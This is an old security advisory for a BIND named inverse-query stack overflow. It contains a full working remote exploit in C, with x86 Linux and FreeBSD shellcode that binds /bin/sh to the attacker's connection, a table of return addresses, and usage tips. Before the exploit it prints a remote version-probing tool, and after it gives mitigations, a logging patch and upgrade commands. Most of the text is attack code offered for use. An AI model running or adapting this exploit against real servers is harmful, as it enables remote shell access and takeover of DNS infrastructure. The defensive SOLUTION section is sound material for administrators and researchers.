COMMAND

	BIND

SYSTEMS AFFECTED

    Systems running BIND prior to 4.9.7 and 8.1.2

PROBLEM

    This advisory deals with exploit  for named that was addressed  in
    originally in advisory 'BIND #9' in this section.  Credit goes  to
    Riders of the Short Bus (ROTShB).

    Some time ago you might have read a CERT advisory which let a  lot
    of terrible people know that there was a bcopy()/memcpy() (may  be
    the same thing for you, may not) in named's req_iquery() (if  not,
    'BIND #9' is based on that advisory).  All that was terrible about
    this was simply  that a user  definable ammount of  user definable
    data was copied to a memory address on the stack which happened to
    be lower than the memory  address which stores the return  address
    for the said  function.  This  of course is  all relative to  your
    arch/os.  The only requirement  is that the target named  needs to
    accept fake  iqueries, that  is they  had INVQ  defined at compile
    time or they  have the appropriate  options set in  a config file.
    Now let's take a look at how the exploit works.

    Looking  at  req_iquery()  found  in  ns_req.c  we  can  see  that
    exploitation is pretty straight forward.  The only thing we should
    really note here is the dlen  and alen variables.  As you  can see
    they could cause a segmentation violation prior to the  function's
    return if they  held certain values.   In which case,  script kids
    would be out of luck.  So we go ahead and fill them with  friendly
    data.  Friendly  being the values  they would typically  hold when
    processing a real inverse query.   If you look at the code  you'll
    also notice that  our need to  to fill alen/dlen  with good values
    depends on wether  or not #ifdef  INVQ is true.   But we want  our
    exploit to work either way so we do it reguardless.

    We still  have yet  another problem.   The ret  address'  distance
    from  anbuf  will  obviously  change  if  the  order  in which the
    variables  are  arranged  on  the  stack  is changed.  Isn't gcc a
    bitch.   Without  optimization  they'll  be  in  normal order, but
    compile with -O and they are  mixed around.  Basically we have  to
    write 2 exploits.  One for  an optimized version of named and  one
    for  a  non  optimized  version  of  named.   Now  this  is rather
    important:  the ammount of data required to overflow an  optimized
    named is less than the ammount of data required to overflow a  non
    optimized named.   Hence, ALWAYS  ATTEMPT TO  EXPLOIT A  NAMED  AS
    THOUGH IT WAS  OPTIMIZED FIRST.   If it isn't  optimized you won't
    cause a  segv.   The above  is precisely  why alot  of people will
    find this not to work.

    A little about  the exploit:   the target types  listed have (se)s
    and (le)s  after them  you'll notice.   se means  small enviorment
    and le means large enviorment.  Ehe enviorment size upon execution
    of named will affect the address we want to return to quite a bit.
    The se addr is typically the addr of anbuf when named is  executed
    at bootup by an rc  file.  The le addr  is the addr of anbuf  when
    named is started by a typical  bash shell.  Hence, ALWAYS USE  THE
    SE TARGET TYPE, e.g.

	./namedexploit targethost 4 1

if that fails, then:

	./namedexploit targethost 4 0

    One other thing  to remember is  the arch/os listed  in the target
    type are just  the arch/os tested  by ROTShB.   Obviously anything
    with the  same syscall  mechanism and  stack setup  is exploitable
    with the provided exploit.  Other than that the exploit is  simple
    and common.   Fill buffer with  code, fill ret  addr with addr  of
    code.  BooM.   A note on  the shellcode:   one possible method  of
    exploitation is simply to start an xterm.  Also, may people  won't
    have access to xterm.  We can predict the fd which will  reference
    our connection with good accuracy so the shell code you will  find
    dup2()s stdin, stdout, and stderr  with the predicted fd and  then
    execve()s  /bin/sh.   Linux  shellcode  is  straight forward.  For
    BSD?   lcalls  are  a  bitch.   We  mov  jmp  opcodes to the space
    following the lcall opcode before each syscall and then jmp to the
    same lcall opcode for every syscall.  Before exploit, here's handy
    code that will  help you to  determine to view  your name server's
    inverse query support status and the version of named that you run
    from remote.  You can also use dig to get the version information.

    /*
     * This code was written by:
     * Joshua James Drake (jdrake@pulsar.net)
     *
     * Published 6/9/98 @ 12:02 AM
     *
     * The following lines of code are, in a nutshell, written to pry
     * some information from a nameserver.  The information it gives
     * you may or may not be useful.  That is for you to decide.
     *
     * However, it will tell you if the server supports IQUERY and, if
     * possible, what version of bind (by Paul Vixie) it is running.
     *
     */

    /* local type includes */
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <time.h>
    #include <string.h>
    #include <ctype.h>
    #include <errno.h>
    /* network type includes */
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netdb.h>

    /* bulky shit for printing dnspkts need to link dnspkt.o from dnspkt.c too */
    #ifdef DEBUG
    #include "dnspkt.h"
    #endif

    /* prototypes */
    int lookup_host(struct sockaddr_in *ra, char *hn, unsigned short rp);
    void probe_bind(struct sockaddr_in ra);
    int talk(int sd, char *pkt, int pktl, char opc);
    int make_keypkt(char *pktbuf, char opc);
    void print_ver(char *host, int vul, char *buf);
    void handle_alarm(int signum);

    /*
     * here we simply check arguments, resolve the hostname given and
     * if all is well, initialize the radom seed and probe away.
     */
    void
    main(argc, argv)
       int argc;
       char *argv[];
    {
       struct sockaddr_in ra;

       if (argc != 2)
	 {
	    printf("usage: %s <host>\n", argv[0]);
	    return;
	 }
       if (!lookup_host(&ra, argv[1], NAMESERVER_PORT))
	  return;
       srand(time(NULL));
       probe_bind(ra);
    }

    /*
     * resolve a hostname to a sockaddr_in struct.
     * we first try treating it like an ip address in a.b.c.d notation
     * then, if that fails, we try to resolve using DNS ways
     * if all fails, we return 0. (failed)
     * if we get the sockaddr_in struct all filled out, we return 1.
     */
    int
    lookup_host(ra, hn, rp)
       struct sockaddr_in *ra;
       char *hn;
       unsigned short rp;
    {
       struct hostent *he;

       ra->sin_family = AF_INET;
       ra->sin_port = htons(rp);
       if ((ra->sin_addr.s_addr = inet_addr(hn)) != -1)
	  return 1;
       if ((he = gethostbyname(hn)) != (struct hostent *)NULL)
	 {
	    memcpy(&ra->sin_addr.s_addr, he->h_addr, 4);
	    return 1;
	 }
       fprintf(stderr, "Unable to resolve hostname: %s\n", hn);
       return 0;
    }

    /*
     * here we allocate some space for our packets and make sure it's
     * "fullanull".  then we attempt to allocate and setup our socket.
     * if failure occurs, we shall report error and return.
     * the we attempt to reverse our address in the sockaddr_in structure
     * passed as the only argument into a dns name, if that fails, we go
     * with the ascii ip address representation.  then we attempt to
     * communicate the remote server, if failure, we return.  after we
     * have successfully got our packets back, we close the socket and
     * print out a summary of what we got.
     */
    void
    probe_bind(ra)
       struct sockaddr_in ra;
    {
       int sd;
       char iquery[512], vquery[512], rname[256];
       struct hostent *he;
       HEADER *dh = (HEADER *)iquery;

       memset(vquery, 0, sizeof(vquery));
       memset(iquery, 0, sizeof(iquery));
       if (((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) ||
	   (connect(sd, (struct sockaddr *)&ra, sizeof(ra)) == -1))
	 {
	    perror("Unable to connect");
	    if (sd != -1)
	       close(sd);
	    return;
	 }
       if ((he = gethostbyaddr((char *)&ra.sin_addr, sizeof(ra.sin_addr), AF_INET)) == (struct hostent *)NULL)
	  sprintf(rname, "%s", inet_ntoa(ra.sin_addr));
       else
	  strncpy(rname, he->h_name, sizeof(rname));

       if (!talk(sd, iquery, sizeof(iquery), IQUERY))
	  return;
       if (!talk(sd, vquery, sizeof(vquery), QUERY))
	  return;
       close(sd);

       /* if dh->rcode == 0, then our iquery request was answered and the remote server
	  supports iquery */
       print_ver(rname, dh->rcode == 0, vquery);
    }

    /*
     * write our packet from pkt, wait for a response and put it in pkt.
     * if the alarm goes off or the read fails, we print error
     * and return 0.  otherwise, our response packet is in pkt and we return 1.
     */
    int
    talk(sd, pkt, pktl, opc)
       int sd, pktl;
       char *pkt, opc;
    {
       int pktlen;

       pktlen = make_keypkt(pkt, opc);
       if (!write(sd, pkt, pktlen))
	 {
	    perror("write failed");
	    close(sd);
	    return 0;
	 }
    #ifdef DEBUG
       printf("write() success\n");
    #endif
    #ifndef __sun__
       siginterrupt(SIGALRM, 1);
    #endif
       signal(SIGALRM, handle_alarm);
       alarm(3);
       pktlen = read(sd, pkt, pktl);
       if (pktlen <= 0)
	 {
	    if (errno == EINTR)
	       errno = ETIMEDOUT;
	    perror("read failed");
	    close(sd);
	    return 0;
	 }
    #ifdef DEBUG
       printf("read success\n");
    #endif
       alarm(0);
       return 1;
    }

    /*
     * this forms a valid dns packet based on the op code given by opc.
     * only two opcodes are supported because that's all we need to support.
     * the packet ends up in pktbuf and the length of the packet is returned.
     */
    int
    make_keypkt(pktbuf, opc)
       char *pktbuf;
       char opc;
    {
       HEADER *dnsh;
       char *ptr = pktbuf;
       int pktlen = 0;

       dnsh = (HEADER *) ptr;
       /* fill out the parts of the DNS header that aren't 0 */
       dnsh->id = htons(rand() % 65535);
       dnsh->opcode = opc;
       dnsh->rd = 1;
       dnsh->ra = 1;
       /* one answer for IQUERY, one question for QUERY */
       if (opc == IQUERY)
	  dnsh->ancount = htons(1);
       else if (opc == QUERY)
	  dnsh->qdcount = htons(1);
       pktlen += sizeof(HEADER);
       ptr += sizeof(HEADER);

       /* we have to make a QUERY, fill out the question section */
       if (opc == QUERY)
	 {
	    /* version.bind. == elite */
	    char qstr[] = "\007version\004bind\000";
	    int qlen = strlen(qstr) + 1;

	    memcpy(ptr, qstr, qlen);
	    ptr += qlen;
	    pktlen += qlen;
	    PUTSHORT(T_TXT, ptr);
	    PUTSHORT(C_CHAOS, ptr);
	    pktlen += sizeof(short) * 2;
	 }
       /* add a resource record for the inverse query */
       else if (opc == IQUERY)
	 {
	    unsigned long addr = inet_addr("1.2.3.4");
	    unsigned long ttl = 31337;
	    unsigned short addrlen = 4;

	    *(ptr++) = '\0';
	    pktlen++;
	    PUTSHORT(T_A, ptr);
	    PUTSHORT(C_IN, ptr);
	    PUTLONG(ttl, ptr);
	    PUTSHORT(addrlen, ptr);
	    PUTLONG(addr, ptr);
	    pktlen += (sizeof(short) * 3) + (sizeof(long) * 2);
	 }
       /* if we're debugging, show what we just made */
    #ifdef DEBUG
       print_dnspkt(pktbuf, pktbuf + pktlen);
    #endif
       return pktlen;
    }

    /*
     * This function takes a DNS packet in buf, and whether or not it reponds to IQUERY in vul.
     * We cast the packet and extract the response as long as there is one.
     * If there isn't one, then we assume that the remote server is an old version of bind.
     * this is the end of the line.
     */
    void
    print_ver(host, vul, buf)
       char *host, *buf;
       int vul;
    {
       HEADER *dnsh = (HEADER *)buf;
       char *ptr, *verstr;
       int len;

       if (dnsh->rcode != 0)
	 {
	    printf("%s's named that %s iquery does not respond to version.bind.\n", host, vul ? "supports" : "errors on");
	    return;
	 }
       /* So we actually have a response.  Lets skip the crap, starting with the header */
       ptr = (buf + sizeof(HEADER));
       /* then the question section domain name. */
       while (*ptr != '\0')
	 ptr++;
       /* then the trailing null and the type/class of the question */
       ptr += 1 + (sizeof(short) * 2);
       /* now we skip the answer section domain name. (should be the same as the question) */
       while (*ptr != '\0')
	 ptr++;
       /* don't forget the trailing null, type, class, and time to live. */
       ptr += 1 + (sizeof(long) + (sizeof(short) * 2));
       /* Here we are at the resource record data length, extract it */
       GETSHORT(len, ptr);
       /* avoid the need to decompress the string (treat it as one) */
       ptr++;
       /* allocate space for and copy the version response txt */
       verstr = (char *)malloc(len);
       memset(verstr, 0, len);
       memcpy(verstr, ptr, len-1);
       /* run through the vesion string and replace non-printable and non-whitespace characters
	  with a '.' */
       for (ptr = verstr; ptr - verstr != len - 1; ptr++)
	  if (!isprint(*ptr) && !isspace(*ptr))
	     *ptr = '.';
       /* print the version and iquery support status, woo hoo */
       printf("%s's named that %s iquery is version: %s\n", host, vul ? "supports" : "errors on", verstr);
    }

    /*
     * handle the alarm signal by resetting the alarm timer and
     * the signal handler for SIGALRM.  This stuff probably isn't needed,
     * but I did it anyway.  It's good for debugging, ran into some problems with
     * alarm() not doing its job.
     */
    void
    handle_alarm(signum)
       int signum;
    {
       alarm(0);
       signal(SIGALRM, SIG_DFL);
    #ifdef DEBUG
       printf("recieved alarm\n");
    #endif
    }

    And now exploit:

    /*
     * have fun.
     * -ROTShB
     */

    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <time.h>
    #include <string.h>
    #include <ctype.h>
    #include <netdb.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>

    #define DEFAULT_TARGET       0
    #define DEFAULT_OPTIMIZATION 0
    #define DEFAULT_ANBUF_OFFSET 300
    #define DLEN_VAL             4
    #define NPACKETSZ            512
    #define NMAXDNAME            1025
    #define PRE_EGG_DATALEN      (1+(sizeof(short)*3)+sizeof(long))
    #define ALEN_VAL             (DLEN_VAL+PRE_EGG_DATALEN)
    #define BUFFSIZE             4096

    struct target_type
    {
      char          desc[40];
      int           systype;
      unsigned long addr;
      unsigned long opt_addr;
      int           fd;
    };

    struct target_type target[] =
    {
      {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
      {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
      {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
      {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
      {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
      {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
      {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
      {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
      {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
      {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
      {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
      {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
      {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
      {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
      {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
      {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
      {{0},0,0,0,0}
    };

    unsigned long resolve(char *host)
    {
      long i;
      struct hostent *he;

      if((i=inet_addr(host))==(-1))
	if((he=gethostbyname(host))==NULL)
	  return(0);
	else
	  return(*(unsigned long *)he->h_addr);

      return(i);
    }

    int send_packet(int fd, char *buff, int len)
    {
      char tmp[2], *ptr=tmp;

      PUTSHORT(len,ptr);

      if(write(fd,tmp,2)!=2)
	return(-1);

      if(write(fd,buff,len)!=len)
	return(-1);

      return(1);
    }

    int attack(int fd, struct target_type t, unsigned long offset, int optimized)
    {
      char buff[BUFFSIZE], *ptr=buff;
      HEADER *dnsh=(HEADER *)buff;
      unsigned long i;
      int dlen, len=0;

      (void)memset(dnsh,0,sizeof(HEADER));

      dnsh->id      = htons(31337);
      dnsh->opcode  = IQUERY;
      dnsh->rd      = 1;
      dnsh->ra      = 1;
      dnsh->ancount = htons(1);

      ptr += sizeof(HEADER);
      len += sizeof(HEADER);

      *ptr = '\0';
      ptr++;

      i = T_A;
      PUTSHORT(i,ptr);

      i = C_IN;
      PUTSHORT(i,ptr);

      i = 31337;
      PUTLONG(i,ptr);

      if(t.systype==0)
	{
	  char c0de[] =
	    "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
	    "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
	    "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
	    "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
	    "\xff\xff\xff/bin/sh";

	  if(optimized)
	    dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
	  else
	    dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;

	  PUTSHORT(dlen,ptr);
	  len += PRE_EGG_DATALEN;

	  c0de[7] = t.fd;

	  (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));

	  i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
	  (void)memcpy((ptr+i),c0de,sizeof(c0de));

	  if(!optimized)
	    {
	      (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
	      i = ALEN_VAL;
	      (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
	      i = DLEN_VAL;
	      (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
	    }
	  else
	    (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));

	  i = (optimized?t.opt_addr:t.addr)+offset;

	  len += dlen;
	}

      else if(t.systype==1)
	{
	  char c0de[] =
	    "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
	    "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
	    "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
	    "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
	    "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
	    "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
	    "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
	    "\xe8\x8d\xff\xff\xff";

	  if(optimized)
	    dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
	  else
	    dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;

	  PUTSHORT(dlen,ptr);
	  len += PRE_EGG_DATALEN;

	  c0de[22] = t.fd;

	  (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));

	  i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
	  (void)memcpy((ptr+i),c0de,sizeof(c0de));

	  if(!optimized)
	    {
	      (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
	      i = ALEN_VAL;
	      (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
	      i = DLEN_VAL;
	      (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
	    }
	  else
	    (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));

	  i = (optimized?t.opt_addr:t.addr)+offset;
	  (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));

	  len += dlen;
	}
      else
	return(0);

      return(send_packet(fd,buff,len));
    }

    int main(int argc, char *argv[])
    {
      char xbuf[128], ybuf[128];
      unsigned long offset=DEFAULT_ANBUF_OFFSET;
      int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
      int xlen=0, ylen=0;
      fd_set rd, wr;
      struct sockaddr_in sa;

      for(i=0;((target[i].addr)||(target[i].opt_addr));i++);

      if(argc<2)
	{
	  (void)fprintf(stderr,"\ntarget types:\n");

	  for(ti=0;ti<i;ti++)
	    (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);

	  (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
			argv[0]);
	  exit(-1);
	}

      if(argc>2)
	{
	  ti = atoi(argv[2]);
	  if((ti<0)||(ti>i))
	    {
	      (void)fprintf(stderr,"error: invalid target type %d\n",ti);
	      exit(-1);
	    }
	}
      else
	ti = DEFAULT_TARGET;

      if(argc>3)
	{
	  opt = atoi(argv[3]);
	  if((opt!=0)&&(opt!=1))
	    {
	      (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
	      exit(-1);
	    }
	}

      if(argc>4)
	offset = atoi(argv[4]);

      if(!(sa.sin_addr.s_addr=resolve(argv[1])))
	{
	  (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
	  exit(-1);
	}

      sa.sin_family = AF_INET;
      sa.sin_port   = htons(53);

      if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
	{
	  (void)perror("error: socket");
	  exit(-1);
	}

      if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
	{
	  (void)perror("error: connect");
	  exit(-1);
	}

      (void)printf("target             : %s\n",inet_ntoa(sa.sin_addr));
      (void)printf("target type        : %s\n",target[ti].desc);
      (void)printf("optimized named    : %s\n",(opt?"YES":"NO"));
      (void)printf("anbuff addr        : 0x%x\n",(unsigned int)
		   (i=(opt?target[ti].opt_addr:target[ti].addr)));
      (void)printf("anbuff addr offset : %lu\n",offset);
      (void)printf("ret addr           : 0x%x\n",(unsigned int)(i+offset));
      (void)printf("fd to make dups of : %d\n",target[ti].fd);

      (void)printf("here we go...\n");

      switch(attack(sock,target[ti],offset,opt))
	{
	case -1:
	  (void)perror("error: attack");
	  exit(-1);
	  break;

	case 0:
	  (void)fprintf(stderr,"error: internal error\n");
	  exit(-1);
	  break;
	}

      (void)printf("have fun.\n");
      (void)printf("-ROTShB\n");

      while(1)
	{
	  FD_ZERO(&rd);
	  if(ylen<(sizeof(ybuf)-1))
	    FD_SET(sock,&rd);
	  if(xlen<(sizeof(xbuf)-1))
	    FD_SET(fileno(stdin),&rd);

	  FD_ZERO(&wr);
	  if(xlen)
	    FD_SET(sock,&wr);
	  if(ylen)
	    FD_SET(fileno(stdout),&wr);

	  if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
	    {
	      (void)perror("error: select");
	      break;
	    }

	  if(FD_ISSET(fileno(stdin),&rd))
	    {
	      if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
		{
		  (void)perror("error: read");
		  exit(-1);
		}
	      else if(i==0)
		break;

	      xlen += i;
	      if(!(--ti)) continue;
	    }

	  if(FD_ISSET(sock,&wr))
	    {
	      if(write(sock,xbuf,xlen)!=xlen)
		{
		  (void)perror("error: write");
		  exit(-1);
		}

	      xlen = 0;
	      if(!(--ti)) continue;
	    }

	  if(FD_ISSET(sock,&rd))
	    {
	      if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
		{
		  (void)perror("error: read");
		  exit(-1);
		}
	      else if(i==0)
		break;

	      ylen += i;
	      if(!(--ti)) continue;
	    }

	  if(FD_ISSET(fileno(stdout),&wr))
	    {
	      if(write(fileno(stdout),ybuf,ylen)!=ylen)
		{
		  (void)perror("error: write");
		  exit(-1);
		}

	      ylen = 0;
	      if(!(--ti)) continue;
	    }
	}

      if(close(sock)==(-1))
	{
	  (void)perror("error: close");
	  exit(-1);
	}

      exit(0);
    }

SOLUTION

    To address this problem, you can disable inverse  queries, upgrade
    to BIND  8.1.2 or  apply the  patch.   For BIND  8 disable inverse
    queries  by  editing  named.conf  so  that  either  there  is   no
    "fake-iquery"  entry  in  the  "options"  block  or  the  entry is
    "fake-iquery  no;".   For  BIND  4.9  disable  inverse  queries by
    editing  named.boot,   removing  any   "fake-iquery"  entries   on
    "options" lines.   Look at conf/options.h  in the source.   IfINVQ
    has been defined,  comment it out  and then rebuild  and reinstall
    the server.  Patches are stored on:

	ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-98.05_Topic.1_BIND8_patch.txt
	ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-98.05_Topic.1_BIND4.9_patch.txt

    Upgrade to 4.9.7-REL  and 8.1.2 is  the less you  can do.   LeMont
    Jones posted following hack;just  do the following with  the stock
    distribution:

    in named.conf:

	zone "bind" chaos { allow-query {localhost; }; type master; file "pri/bind"; };

    and in pri/bind:

	$ORIGIN bind.
	@       1D CHAOS SOA    localhost. root.localhost. (
				1               ; serial
				3H              ; refresh
				1H              ; retry
				1W              ; expiry
				1D )            ; minimum
		CHAOS NS        localhost.

    Presto - log  messages for denied  queries, and no  changes to the
    code.

    Gus on the  other hand made  his patch as  well.  When  an exploit
    attempt is recieved, you get:

	Jun 14 23:45:47 victim named[2670]: IQUERY recieved from [192.168.0.20].27447

    The patch is for 4.9.6-REL, but it should work accross the  board,
    you get the idea, anyways.

    *** ns_req.c    Tue Apr  7 05:59:46 1998
    --- ns_req.c.new        Thu Jun  4 13:54:07 1998
    ***************
    *** 193,199 ****
		    break;

	    case IQUERY:
    !               action = req_iquery(hp, &cp, eom, &buflen, msg, from);
		    break;

      #ifdef BIND_NOTIFY
    --- 193,201 ----
		    break;

	    case IQUERY:
    !               hp->rcode = REFUSED;
    !               action = Finish;
    !               syslog(LOG_ALERT,"IQUERY recieved from %s",sin_ntoa(from));
		    break;

      #ifdef BIND_NOTIFY

    These problems affect users of Red Hat 4.2, 5.0, and 5.1. Red  Hat
    strongly suggests all users update  to these new versions as  soon
    as possible.  After upgrading to the new version of bind, be  sure
    to restart bind with:

        /etc/rc.d/init.d/bind stop
        /etc/rc.d/init.d/bind start

    rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/bind-4.9.7-1.i386.rpm
    rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/bind-4.9.7-1.alpha.rpm
    rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/bind-4.9.7-1.sparc.rpm

    rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/bind-4.9.7-1.i386.rpm
    rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/bind-4.9.7-1.alpha.rpm

    rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/bind-4.9.7-0.i386.rpm
    rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/bind-4.9.7-0.alpha.rpm
    rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/bind-4.9.7-0.sparc.rpm

    Also, check for other OS patches is available.